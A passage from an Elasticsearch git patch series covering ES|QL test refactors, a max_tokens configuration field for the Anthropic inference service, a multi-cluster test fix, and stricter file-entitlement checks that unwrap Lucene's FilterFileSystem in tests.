@@ -397,7 +401,7 @@ private QueryBuilder restFilterQuery(String field) {
     }
 
     private QueryBuilder filterQueryForTransportNodes(TransportVersion minTransportVersion, PhysicalPlan plan) {
-        return PlannerUtils.detectFilter(minTransportVersion, plan, Set.of(EMP_NO, LAST_NAME)::contains);
+        return PlannerUtils.detectFilter(new EsqlFlags(true), null, minTransportVersion, plan, Set.of(EMP_NO, LAST_NAME)::contains);
     }
 
     @Override
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/plugin/ClusterRequestTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/plugin/ClusterRequestTests.java
index ababc8ed37657..65587cf4d6876 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/plugin/ClusterRequestTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/plugin/ClusterRequestTests.java
@@ -201,7 +201,7 @@ static LogicalPlan parse(String query) {
             ),
             TEST_VERIFIER
         );
-        return logicalOptimizer.optimize(analyzer.analyze(new EsqlParser().createStatement(query)));
+        return logicalOptimizer.optimize(analyzer.analyze(new EsqlParser().createStatement(query, EsqlTestUtils.TEST_CFG)));
     }
 
     @Override
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/plugin/DataNodeRequestSerializationTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/plugin/DataNodeRequestSerializationTests.java
index 1fc481711df97..fe0e028db4c9c 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/plugin/DataNodeRequestSerializationTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/plugin/DataNodeRequestSerializationTests.java
@@ -302,7 +302,7 @@ static LogicalPlan parse(String query) {
             ),
             TEST_VERIFIER
         );
-        return logicalOptimizer.optimize(analyzer.analyze(new EsqlParser().createStatement(query)));
+        return logicalOptimizer.optimize(analyzer.analyze(new EsqlParser().createStatement(query, EsqlTestUtils.TEST_CFG)));
     }
 
     static PhysicalPlan mapAndMaybeOptimize(LogicalPlan logicalPlan) {
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/session/IndexResolverFieldNamesTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/session/IndexResolverFieldNamesTests.java
index ae66488f419e1..619f94dba4914 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/session/IndexResolverFieldNamesTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/session/IndexResolverFieldNamesTests.java
@@ -9,6 +9,7 @@
 
 import org.elasticsearch.Build;
 import org.elasticsearch.test.ESTestCase;
+import org.elasticsearch.xpack.esql.EsqlTestUtils;
 import org.elasticsearch.xpack.esql.action.EsqlCapabilities;
 import org.elasticsearch.xpack.esql.parser.EsqlParser;
 import org.elasticsearch.xpack.esql.parser.ParsingException;
@@ -1600,7 +1601,7 @@ public void testEnrichOnDefaultField() {
     public void testMetrics() {
         var query = "TS k8s | STATS bytes=sum(rate(network.total_bytes_in)), sum(rate(network.total_cost)) BY cluster";
         if (Build.current().isSnapshot() == false) {
-            var e = expectThrows(ParsingException.class, () -> parser.createStatement(query));
+            var e = expectThrows(ParsingException.class, () -> parser.createStatement(query, EsqlTestUtils.TEST_CFG));
             assertThat(e.getMessage(), containsString("line 1:1: mismatched input 'TS' expecting {"));
             return;
         }
@@ -2148,7 +2149,8 @@ public void testForkWithStatsAndWhere() {
 
     private Set<String> fieldNames(String query, Set<String> enrichPolicyMatchFields) {
         var preAnalysisResult = new EsqlSession.PreAnalysisResult(null);
-        return EsqlSession.fieldNames(parser.createStatement(query), enrichPolicyMatchFields, preAnalysisResult).fieldNames();
+        return EsqlSession.fieldNames(parser.createStatement(query, EsqlTestUtils.TEST_CFG), enrichPolicyMatchFields, preAnalysisResult)
+            .fieldNames();
     }
 
     private void assertFieldNames(String query, Set<String> expected) {
@@ -2157,7 +2159,11 @@ private void assertFieldNames(String query, Set<String> expected) {
     }
 
     private void assertFieldNames(String query, Set<String> expected, Set<String> wildCardIndices) {
-        var preAnalysisResult = EsqlSession.fieldNames(parser.createStatement(query), Set.of(), new EsqlSession.PreAnalysisResult(null));
+        var preAnalysisResult = EsqlSession.fieldNames(
+            parser.createStatement(query, EsqlTestUtils.TEST_CFG),
+            Set.of(),
+            new EsqlSession.PreAnalysisResult(null)
+        );
         assertThat("Query-wide field names", preAnalysisResult.fieldNames(), equalTo(expected));
         assertThat("Lookup Indices that expect wildcard lookups", preAnalysisResult.wildcardJoinIndices(), equalTo(wildCardIndices));
     }
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/telemetry/VerifierMetricsTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/telemetry/VerifierMetricsTests.java
index 0fee82f4f6ee7..1f3047262c94d 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/telemetry/VerifierMetricsTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/telemetry/VerifierMetricsTests.java
@@ -10,6 +10,7 @@
 import org.elasticsearch.license.XPackLicenseState;
 import org.elasticsearch.test.ESTestCase;
 import org.elasticsearch.xpack.core.watcher.common.stats.Counters;
+import org.elasticsearch.xpack.esql.EsqlTestUtils;
 import org.elasticsearch.xpack.esql.analysis.Verifier;
 import org.elasticsearch.xpack.esql.expression.function.EsqlFunctionRegistry;
 import org.elasticsearch.xpack.esql.expression.function.FunctionDefinition;
@@ -554,7 +555,7 @@ private Counters esql(String esql, Verifier v) {
             metrics = new Metrics(new EsqlFunctionRegistry());
             verifier = new Verifier(metrics, new XPackLicenseState(() -> 0L));
         }
-        analyzer(verifier).analyze(parser.createStatement(esql));
+        analyzer(verifier).analyze(parser.createStatement(esql, EsqlTestUtils.TEST_CFG));
 
         return metrics == null ? null : metrics.stats();
     }
diff --git a/x-pack/plugin/mapper-constant-keyword/src/main/java/org/elasticsearch/xpack/constantkeyword/mapper/ConstantKeywordFieldMapper.java b/x-pack/plugin/mapper-constant-keyword/src/main/java/org/elasticsearch/xpack/constantkeyword/mapper/ConstantKeywordFieldMapper.java
index 5a667df9ffbbf..2102aaaa72cb6 100644
--- a/x-pack/plugin/mapper-constant-keyword/src/main/java/org/elasticsearch/xpack/constantkeyword/mapper/ConstantKeywordFieldMapper.java
+++ b/x-pack/plugin/mapper-constant-keyword/src/main/java/org/elasticsearch/xpack/constantkeyword/mapper/ConstantKeywordFieldMapper.java
@@ -212,6 +212,11 @@ protected boolean matches(String pattern, boolean caseInsensitive, QueryRewriteC
             return Regex.simpleMatch(pattern, value, caseInsensitive);
         }
 
+        @Override
+        public String getConstantFieldValue(SearchExecutionContext context) {
+            return value;
+        }
+
         @Override
         public Query existsQuery(SearchExecutionContext context) {
             return value != null ? new MatchAllDocsQuery() : new MatchNoDocsQuery();

From c55c350473bf39d65924ea77871d132f7b94860f Mon Sep 17 00:00:00 2001
From: Jonathan Buttner <56361221+jonathan-buttner@users.noreply.github.com>
Date: Mon, 14 Jul 2025 11:28:05 -0400
Subject: [PATCH 137/299] [ML] Including max_tokens through the Service API for
 Anthropic (#131113) (#131215)

* Adding max_tokens to get services API

* Update docs/changelog/131113.yaml
---
 docs/changelog/131113.yaml                          |  5 +++++
 .../services/anthropic/AnthropicService.java        | 13 +++++++++++++
 .../services/anthropic/AnthropicServiceTests.java   |  9 +++++++++
 3 files changed, 27 insertions(+)
 create mode 100644 docs/changelog/131113.yaml

diff --git a/docs/changelog/131113.yaml b/docs/changelog/131113.yaml
new file mode 100644
index 0000000000000..cca54f0a302f0
--- /dev/null
+++ b/docs/changelog/131113.yaml
@@ -0,0 +1,5 @@
+pr: 131113
+summary: Including `max_tokens` through the Service API for Anthropic
+area: Machine Learning
+type: bug
+issues: []
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/anthropic/AnthropicService.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/anthropic/AnthropicService.java
index bec8908ab73f9..791518ccc9168 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/anthropic/AnthropicService.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/anthropic/AnthropicService.java
@@ -263,6 +263,19 @@ public static InferenceServiceConfiguration get() {
                         .build()
                 );
 
+                configurationMap.put(
+                    AnthropicServiceFields.MAX_TOKENS,
+                    new SettingsConfiguration.Builder(EnumSet.of(TaskType.COMPLETION)).setDescription(
+                        "The maximum number of tokens to generate before stopping."
+                    )
+                        .setLabel("Max Tokens")
+                        .setRequired(true)
+                        .setSensitive(false)
+                        .setUpdatable(false)
+                        .setType(SettingsConfigurationFieldType.INTEGER)
+                        .build()
+                );
+
                 configurationMap.putAll(DefaultSecretSettings.toSettingsConfiguration(supportedTaskTypes));
                 configurationMap.putAll(
                     RateLimitSettings.toSettingsConfigurationWithDescription(
diff --git a/x-pack/plugin/inference/src/test/java/org/elasticsearch/xpack/inference/services/anthropic/AnthropicServiceTests.java b/x-pack/plugin/inference/src/test/java/org/elasticsearch/xpack/inference/services/anthropic/AnthropicServiceTests.java
index 75ce59b16a763..a3f0b01901009 100644
--- a/x-pack/plugin/inference/src/test/java/org/elasticsearch/xpack/inference/services/anthropic/AnthropicServiceTests.java
+++ b/x-pack/plugin/inference/src/test/java/org/elasticsearch/xpack/inference/services/anthropic/AnthropicServiceTests.java
@@ -650,6 +650,15 @@ public void testGetConfiguration() throws Exception {
                               "updatable": false,
                               "type": "str",
                               "supported_task_types": ["completion"]
+                          },
+                        "max_tokens": {
+                              "description": "The maximum number of tokens to generate before stopping.",
+                              "label": "Max Tokens",
+                              "required": true,
+                              "sensitive": false,
+                              "updatable": false,
+                              "type": "int",
+                              "supported_task_types": ["completion"]
                           }
                       }
                   }

From 18ea3a80d2edf99351acb3067d91e0fd797eb6d5 Mon Sep 17 00:00:00 2001
From: Julian Kiryakov <julian.kiryakov@elastic.co>
Date: Mon, 14 Jul 2025 11:34:51 -0400
Subject: [PATCH 138/299] ES|QL: fix MultiClustersIT (#131199) (#131213)

(cherry picked from commit d1542300b154945bc197fbf3f7c0e6a02c26338c)

# Conflicts:
#	muted-tests.yml

Co-authored-by: Luigi Dell'Aquila <luigi.dellaquila@gmail.com>
---
 .../xpack/esql/ccq/MultiClustersIT.java            | 14 ++++++++++----
 1 file changed, 10 insertions(+), 4 deletions(-)

diff --git a/x-pack/plugin/esql/qa/server/multi-clusters/src/javaRestTest/java/org/elasticsearch/xpack/esql/ccq/MultiClustersIT.java b/x-pack/plugin/esql/qa/server/multi-clusters/src/javaRestTest/java/org/elasticsearch/xpack/esql/ccq/MultiClustersIT.java
index 7dcf1c47567e0..a7eeef8e823a2 100644
--- a/x-pack/plugin/esql/qa/server/multi-clusters/src/javaRestTest/java/org/elasticsearch/xpack/esql/ccq/MultiClustersIT.java
+++ b/x-pack/plugin/esql/qa/server/multi-clusters/src/javaRestTest/java/org/elasticsearch/xpack/esql/ccq/MultiClustersIT.java
@@ -530,10 +530,16 @@ public void testNotLikeListKeyword() throws Exception {
             """, includeCCSMetadata);
         var columns = List.of(Map.of("name", "c", "type", "long"), Map.of("name", "_index", "type", "keyword"));
         Predicate<Doc> filter = d -> false == (d.color.contains("blue") || d.color.contains("red"));
-        var values = List.of(
-            List.of((int) remoteDocs.stream().filter(filter).count(), REMOTE_CLUSTER_NAME + ":" + remoteIndex),
-            List.of((int) localDocs.stream().filter(filter).count(), localIndex)
-        );
+
+        var values = new ArrayList<>();
+        int remoteCount = (int) remoteDocs.stream().filter(filter).count();
+        int localCount = (int) localDocs.stream().filter(filter).count();
+        if (remoteCount > 0) {
+            values.add(List.of(remoteCount, REMOTE_CLUSTER_NAME + ":" + remoteIndex));
+        }
+        if (localCount > 0) {
+            values.add(List.of(localCount, localIndex));
+        }
         assertResultMapForLike(includeCCSMetadata, result, columns, values, false, true);
     }
 

From c237cd28db7fcb87752cfb606bb9eb5cf25d31c0 Mon Sep 17 00:00:00 2001
From: Moritz Mack <mmack@apache.org>
Date: Mon, 14 Jul 2025 17:48:11 +0200
Subject: [PATCH 139/299] Check file entitlements on the Lucene
 FilterFileSystem in tests (#130825) (#131184)

So far most file entitlement checks have been trivially allowed due to
usage of the Lucene FilterFileSystem. This makes sure we properly check
for that file system in tests.

Fixes #127686 Fixes #127193 Fixes #127192 Fixes #127190

Relates to ES-12210 Relates to ES-12242

(cherry picked from commit 3f0b14b444cb67e2edc2c3ea97e98959bc293602)

# Conflicts:
#	muted-tests.yml
---
 .../bootstrap/EntitlementBootstrap.java          |  4 ++--
 .../entitlement/runtime/policy/PathLookup.java   |  6 ++++++
 .../runtime/policy/PathLookupImpl.java           |  5 +++++
 .../runtime/policy/PolicyCheckerImpl.java        | 16 +++++++---------
 .../runtime/policy/PolicyManager.java            | 13 +++++++++----
 .../runtime/policy/PolicyManagerTests.java       | 15 ++++++++-------
 .../bootstrap/TestEntitlementBootstrap.java      |  6 +-----
 .../runtime/policy/TestPathLookup.java           | 12 ++++++++++++
 .../runtime/policy/TestPolicyManager.java        | 15 ++++++++++++---
 .../runtime/policy/TestPolicyManagerTests.java   |  2 +-
 .../xpack/ssl/SSLErrorMessageFileTests.java      |  6 ------
 11 files changed, 63 insertions(+), 37 deletions(-)

diff --git a/libs/entitlement/src/main/java/org/elasticsearch/entitlement/bootstrap/EntitlementBootstrap.java b/libs/entitlement/src/main/java/org/elasticsearch/entitlement/bootstrap/EntitlementBootstrap.java
index 928b953c295fe..3d364f4b53cec 100644
--- a/libs/entitlement/src/main/java/org/elasticsearch/entitlement/bootstrap/EntitlementBootstrap.java
+++ b/libs/entitlement/src/main/java/org/elasticsearch/entitlement/bootstrap/EntitlementBootstrap.java
@@ -161,7 +161,7 @@ private static PolicyManager createPolicyManager(
         PathLookup pathLookup,
         Policy serverPolicyPatch,
         Function<Class<?>, PolicyManager.PolicyScope> scopeResolver,
-        Map<String, Collection<Path>> pluginSourcePaths
+        Map<String, Collection<Path>> pluginSourcePathsResolver
     ) {
         FilesEntitlementsValidation.validate(pluginPolicies, pathLookup);
 
@@ -170,7 +170,7 @@ private static PolicyManager createPolicyManager(
             HardcodedEntitlements.agentEntitlements(),
             pluginPolicies,
             scopeResolver,
-            pluginSourcePaths,
+            pluginSourcePathsResolver::get,
             pathLookup
         );
     }
diff --git a/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PathLookup.java b/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PathLookup.java
index 361d77ff83477..3d2daf5e407c6 100644
--- a/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PathLookup.java
+++ b/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PathLookup.java
@@ -9,6 +9,8 @@
 
 package org.elasticsearch.entitlement.runtime.policy;
 
+import org.elasticsearch.core.PathUtils;
+
 import java.nio.file.Path;
 import java.util.stream.Stream;
 
@@ -16,6 +18,8 @@
  * Resolves paths for known directories checked by entitlements.
  */
 public interface PathLookup {
+    Class<?> DEFAULT_FILESYSTEM_CLASS = PathUtils.getDefaultFileSystem().getClass();
+
     enum BaseDir {
         USER_HOME,
         CONFIG,
@@ -37,4 +41,6 @@ enum BaseDir {
      * paths of the given {@code baseDir}.
      */
     Stream<Path> resolveSettingPaths(BaseDir baseDir, String settingName);
+
+    boolean isPathOnDefaultFilesystem(Path path);
 }
diff --git a/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PathLookupImpl.java b/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PathLookupImpl.java
index e3474250d43f0..df259254025bb 100644
--- a/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PathLookupImpl.java
+++ b/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PathLookupImpl.java
@@ -75,4 +75,9 @@ public Stream<Path> resolveSettingPaths(BaseDir baseDir, String settingName) {
             .toList();
         return getBaseDirPaths(baseDir).flatMap(path -> relativePaths.stream().map(path::resolve));
     }
+
+    @Override
+    public boolean isPathOnDefaultFilesystem(Path path) {
+        return path.getFileSystem().getClass() == DEFAULT_FILESYSTEM_CLASS;
+    }
 }
diff --git a/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PolicyCheckerImpl.java b/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PolicyCheckerImpl.java
index 2c3374f594847..97236e653f4ba 100644
--- a/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PolicyCheckerImpl.java
+++ b/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PolicyCheckerImpl.java
@@ -9,7 +9,6 @@
 
 package org.elasticsearch.entitlement.runtime.policy;
 
-import org.elasticsearch.core.PathUtils;
 import org.elasticsearch.core.Strings;
 import org.elasticsearch.core.SuppressForbidden;
 import org.elasticsearch.entitlement.instrumentation.InstrumentationService;
@@ -58,7 +57,7 @@
  */
 @SuppressForbidden(reason = "Explicitly checking APIs that are forbidden")
 public class PolicyCheckerImpl implements PolicyChecker {
-    static final Class<?> DEFAULT_FILESYSTEM_CLASS = PathUtils.getDefaultFileSystem().getClass();
+
     protected final Set<Package> suppressFailureLogPackages;
     /**
      * Frames originating from this module are ignored in the permission logic.
@@ -81,15 +80,14 @@ public PolicyCheckerImpl(
         this.pathLookup = pathLookup;
     }
 
-    private static boolean isPathOnDefaultFilesystem(Path path) {
-        var pathFileSystemClass = path.getFileSystem().getClass();
-        if (path.getFileSystem().getClass() != DEFAULT_FILESYSTEM_CLASS) {
+    private boolean isPathOnDefaultFilesystem(Path path) {
+        if (pathLookup.isPathOnDefaultFilesystem(path) == false) {
             PolicyManager.generalLogger.trace(
                 () -> Strings.format(
                     "File entitlement trivially allowed: path [%s] is for a different FileSystem class [%s], default is [%s]",
                     path.toString(),
-                    pathFileSystemClass.getName(),
-                    DEFAULT_FILESYSTEM_CLASS.getName()
+                    path.getFileSystem().getClass().getName(),
+                    PathLookup.DEFAULT_FILESYSTEM_CLASS.getName()
                 )
             );
             return false;
@@ -217,7 +215,7 @@ public void checkFileRead(Class<?> callerClass, Path path) {
 
     @Override
     public void checkFileRead(Class<?> callerClass, Path path, boolean followLinks) throws NoSuchFileException {
-        if (PolicyCheckerImpl.isPathOnDefaultFilesystem(path) == false) {
+        if (isPathOnDefaultFilesystem(path) == false) {
             return;
         }
         var requestingClass = requestingClass(callerClass);
@@ -265,7 +263,7 @@ public void checkFileWrite(Class<?> callerClass, File file) {
 
     @Override
     public void checkFileWrite(Class<?> callerClass, Path path) {
-        if (PolicyCheckerImpl.isPathOnDefaultFilesystem(path) == false) {
+        if (isPathOnDefaultFilesystem(path) == false) {
             return;
         }
         var requestingClass = requestingClass(callerClass);
diff --git a/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PolicyManager.java b/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PolicyManager.java
index f7d465adee631..8c2c55822b6b2 100644
--- a/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PolicyManager.java
+++ b/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PolicyManager.java
@@ -22,9 +22,11 @@
 import java.nio.file.Paths;
 import java.util.ArrayList;
 import java.util.Collection;
+import java.util.Collections;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Map;
+import java.util.Objects;
 import java.util.Set;
 import java.util.concurrent.ConcurrentHashMap;
 import java.util.function.Function;
@@ -217,7 +219,7 @@ private static Set<Module> findSystemLayerModules() {
         .filter(m -> SYSTEM_LAYER_MODULES.contains(m) == false)
         .collect(Collectors.toUnmodifiableSet());
 
-    private final Map<String, Collection<Path>> pluginSourcePaths;
+    private final Function<String, Collection<Path>> pluginSourcePathsResolver;
 
     /**
      * Paths that are only allowed for a single module. Used to generate
@@ -231,7 +233,7 @@ public PolicyManager(
         List<Entitlement> apmAgentEntitlements,
         Map<String, Policy> pluginPolicies,
         Function<Class<?>, PolicyScope> scopeResolver,
-        Map<String, Collection<Path>> pluginSourcePaths,
+        Function<String, Collection<Path>> pluginSourcePathsResolver,
         PathLookup pathLookup
     ) {
         this.serverEntitlements = buildScopeEntitlementsMap(requireNonNull(serverPolicy));
@@ -240,7 +242,7 @@ public PolicyManager(
             .stream()
             .collect(toUnmodifiableMap(Map.Entry::getKey, e -> buildScopeEntitlementsMap(e.getValue())));
         this.scopeResolver = scopeResolver;
-        this.pluginSourcePaths = pluginSourcePaths;
+        this.pluginSourcePathsResolver = pluginSourcePathsResolver;
         this.pathLookup = requireNonNull(pathLookup);
 
         List<ExclusiveFileEntitlement> exclusiveFileEntitlements = new ArrayList<>();
@@ -334,7 +336,10 @@ protected final ModuleEntitlements computeEntitlements(Class<?> requestingClass)
             default -> {
                 assert policyScope.kind() == PLUGIN;
                 var pluginEntitlements = pluginsEntitlements.get(componentName);
-                Collection<Path> componentPaths = pluginSourcePaths.getOrDefault(componentName, List.of());
+                Collection<Path> componentPaths = Objects.requireNonNullElse(
+                    pluginSourcePathsResolver.apply(componentName),
+                    Collections.emptyList()
+                );
                 if (pluginEntitlements == null) {
                     return defaultEntitlements(componentName, componentPaths, moduleName);
                 } else {
diff --git a/libs/entitlement/src/test/java/org/elasticsearch/entitlement/runtime/policy/PolicyManagerTests.java b/libs/entitlement/src/test/java/org/elasticsearch/entitlement/runtime/policy/PolicyManagerTests.java
index 21197fc6bd942..e1f20a0eae990 100644
--- a/libs/entitlement/src/test/java/org/elasticsearch/entitlement/runtime/policy/PolicyManagerTests.java
+++ b/libs/entitlement/src/test/java/org/elasticsearch/entitlement/runtime/policy/PolicyManagerTests.java
@@ -33,6 +33,7 @@
 import java.net.URLClassLoader;
 import java.nio.file.Path;
 import java.util.Collection;
+import java.util.Collections;
 import java.util.List;
 import java.util.Map;
 import java.util.Set;
@@ -95,7 +96,7 @@ public void testGetEntitlements() {
             List.of(),
             Map.of("plugin1", new Policy("plugin1", List.of(new Scope("plugin.module1", List.of(new ExitVMEntitlement()))))),
             c -> policyScope.get(),
-            Map.of("plugin1", plugin1SourcePaths),
+            Map.of("plugin1", plugin1SourcePaths)::get,
             TEST_PATH_LOOKUP
         );
         Collection<Path> thisSourcePaths = policyManager.getComponentPathsFromClass(getClass());
@@ -170,7 +171,7 @@ public void testAgentsEntitlements() throws IOException, ClassNotFoundException
             c -> c.getPackageName().startsWith(TEST_AGENTS_PACKAGE_NAME)
                 ? PolicyScope.apmAgent("test.agent.module")
                 : PolicyScope.plugin("test", "test.plugin.module"),
-            Map.of(),
+            name -> Collections.emptyList(),
             TEST_PATH_LOOKUP
         );
         ModuleEntitlements agentsEntitlements = policyManager.getEntitlements(TestAgent.class);
@@ -197,7 +198,7 @@ public void testDuplicateEntitlements() {
                 List.of(),
                 Map.of(),
                 c -> PolicyScope.plugin("test", moduleName(c)),
-                Map.of(),
+                name -> Collections.emptyList(),
                 TEST_PATH_LOOKUP
             )
         );
@@ -213,7 +214,7 @@ public void testDuplicateEntitlements() {
                 List.of(new CreateClassLoaderEntitlement(), new CreateClassLoaderEntitlement()),
                 Map.of(),
                 c -> PolicyScope.plugin("test", moduleName(c)),
-                Map.of(),
+                name -> Collections.emptyList(),
                 TEST_PATH_LOOKUP
             )
         );
@@ -249,7 +250,7 @@ public void testDuplicateEntitlements() {
                     )
                 ),
                 c -> PolicyScope.plugin("plugin1", moduleName(c)),
-                Map.of("plugin1", List.of(Path.of("modules", "plugin1"))),
+                Map.of("plugin1", List.of(Path.of("modules", "plugin1")))::get,
                 TEST_PATH_LOOKUP
             )
         );
@@ -299,7 +300,7 @@ public void testFilesEntitlementsWithExclusive() {
                     )
                 ),
                 c -> PolicyScope.plugin("", moduleName(c)),
-                Map.of("plugin1", List.of(Path.of("modules", "plugin1")), "plugin2", List.of(Path.of("modules", "plugin2"))),
+                Map.of("plugin1", List.of(Path.of("modules", "plugin1")), "plugin2", List.of(Path.of("modules", "plugin2")))::get,
                 TEST_PATH_LOOKUP
             )
         );
@@ -350,7 +351,7 @@ public void testFilesEntitlementsWithExclusive() {
                     )
                 ),
                 c -> PolicyScope.plugin("", moduleName(c)),
-                Map.of(),
+                name -> Collections.emptyList(),
                 TEST_PATH_LOOKUP
             )
         );
diff --git a/test/framework/src/main/java/org/elasticsearch/entitlement/bootstrap/TestEntitlementBootstrap.java b/test/framework/src/main/java/org/elasticsearch/entitlement/bootstrap/TestEntitlementBootstrap.java
index 160d601e3e585..423c407650434 100644
--- a/test/framework/src/main/java/org/elasticsearch/entitlement/bootstrap/TestEntitlementBootstrap.java
+++ b/test/framework/src/main/java/org/elasticsearch/entitlement/bootstrap/TestEntitlementBootstrap.java
@@ -34,7 +34,6 @@
 import java.nio.file.Path;
 import java.util.ArrayList;
 import java.util.Arrays;
-import java.util.Collection;
 import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
@@ -42,7 +41,6 @@
 import java.util.TreeSet;
 
 import static java.util.stream.Collectors.toCollection;
-import static java.util.stream.Collectors.toMap;
 import static java.util.stream.Collectors.toSet;
 import static org.elasticsearch.entitlement.runtime.policy.PathLookup.BaseDir.CONFIG;
 import static org.elasticsearch.entitlement.runtime.policy.PathLookup.BaseDir.TEMP;
@@ -128,8 +126,6 @@ private static TestPolicyManager createPolicyManager(PathLookup pathLookup) thro
         } else {
             classPathEntries = Arrays.stream(classPathProperty.split(separator)).map(PathUtils::get).collect(toCollection(TreeSet::new));
         }
-        Map<String, Collection<Path>> pluginSourcePaths = pluginNames.stream().collect(toMap(n -> n, n -> classPathEntries));
-
         FilesEntitlementsValidation.validate(pluginPolicies, pathLookup);
 
         String testOnlyPathString = System.getenv("es.entitlement.testOnlyPath");
@@ -148,8 +144,8 @@ private static TestPolicyManager createPolicyManager(PathLookup pathLookup) thro
             HardcodedEntitlements.agentEntitlements(),
             pluginPolicies,
             scopeResolver,
-            pluginSourcePaths,
             pathLookup,
+            classPathEntries,
             testOnlyClassPath
         );
     }
diff --git a/test/framework/src/main/java/org/elasticsearch/entitlement/runtime/policy/TestPathLookup.java b/test/framework/src/main/java/org/elasticsearch/entitlement/runtime/policy/TestPathLookup.java
index be99d8187f95e..458d83590758c 100644
--- a/test/framework/src/main/java/org/elasticsearch/entitlement/runtime/policy/TestPathLookup.java
+++ b/test/framework/src/main/java/org/elasticsearch/entitlement/runtime/policy/TestPathLookup.java
@@ -9,6 +9,8 @@
 
 package org.elasticsearch.entitlement.runtime.policy;
 
+import org.apache.lucene.tests.mockfile.FilterFileSystem;
+
 import java.nio.file.Path;
 import java.util.Collection;
 import java.util.List;
@@ -37,4 +39,14 @@ public Stream<Path> resolveSettingPaths(BaseDir baseDir, String settingName) {
         return Stream.empty();
     }
 
+    @Override
+    public boolean isPathOnDefaultFilesystem(Path path) {
+        var fileSystem = path.getFileSystem();
+        if (fileSystem.getClass() != DEFAULT_FILESYSTEM_CLASS) {
+            while (fileSystem instanceof FilterFileSystem ffs) {
+                fileSystem = ffs.getDelegate();
+            }
+        }
+        return fileSystem.getClass() == DEFAULT_FILESYSTEM_CLASS;
+    }
 }
diff --git a/test/framework/src/main/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManager.java b/test/framework/src/main/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManager.java
index 3d7387a6a2f3a..b504e51e119f7 100644
--- a/test/framework/src/main/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManager.java
+++ b/test/framework/src/main/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManager.java
@@ -38,7 +38,7 @@ public class TestPolicyManager extends PolicyManager {
      * We need this larger map per class instead.
      */
     final Map<Class<?>, ModuleEntitlements> classEntitlementsMap = new ConcurrentHashMap<>();
-
+    final Collection<Path> classpath;
     final Collection<URI> testOnlyClasspath;
 
     public TestPolicyManager(
@@ -46,11 +46,12 @@ public TestPolicyManager(
         List<Entitlement> apmAgentEntitlements,
         Map<String, Policy> pluginPolicies,
         Function<Class<?>, PolicyScope> scopeResolver,
-        Map<String, Collection<Path>> pluginSourcePaths,
         PathLookup pathLookup,
+        Collection<Path> classpath,
         Collection<URI> testOnlyClasspath
     ) {
-        super(serverPolicy, apmAgentEntitlements, pluginPolicies, scopeResolver, pluginSourcePaths, pathLookup);
+        super(serverPolicy, apmAgentEntitlements, pluginPolicies, scopeResolver, name -> classpath, pathLookup);
+        this.classpath = classpath;
         this.testOnlyClasspath = testOnlyClasspath;
         reset();
     }
@@ -118,6 +119,11 @@ boolean isTriviallyAllowed(Class<?> requestingClass) {
         return super.isTriviallyAllowed(requestingClass);
     }
 
+    @Override
+    protected Collection<Path> getComponentPathsFromClass(Class<?> requestingClass) {
+        return classpath; // required to grant read access to the production source and test resources
+    }
+
     private boolean isEntitlementClass(Class<?> requestingClass) {
         return requestingClass.getPackageName().startsWith("org.elasticsearch.entitlement")
             && (requestingClass.getName().contains("Test") == false);
@@ -180,6 +186,9 @@ private boolean isTestCode(Class<?> requestingClass) {
         URI needle;
         try {
             needle = codeSource.getLocation().toURI();
+            if (needle.getScheme().equals("jrt")) {
+                return false; // won't be on testOnlyClasspath
+            }
         } catch (URISyntaxException e) {
             throw new IllegalStateException(e);
         }
diff --git a/test/framework/src/test/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManagerTests.java b/test/framework/src/test/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManagerTests.java
index 366e0bd5505fe..4a62355f398d8 100644
--- a/test/framework/src/test/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManagerTests.java
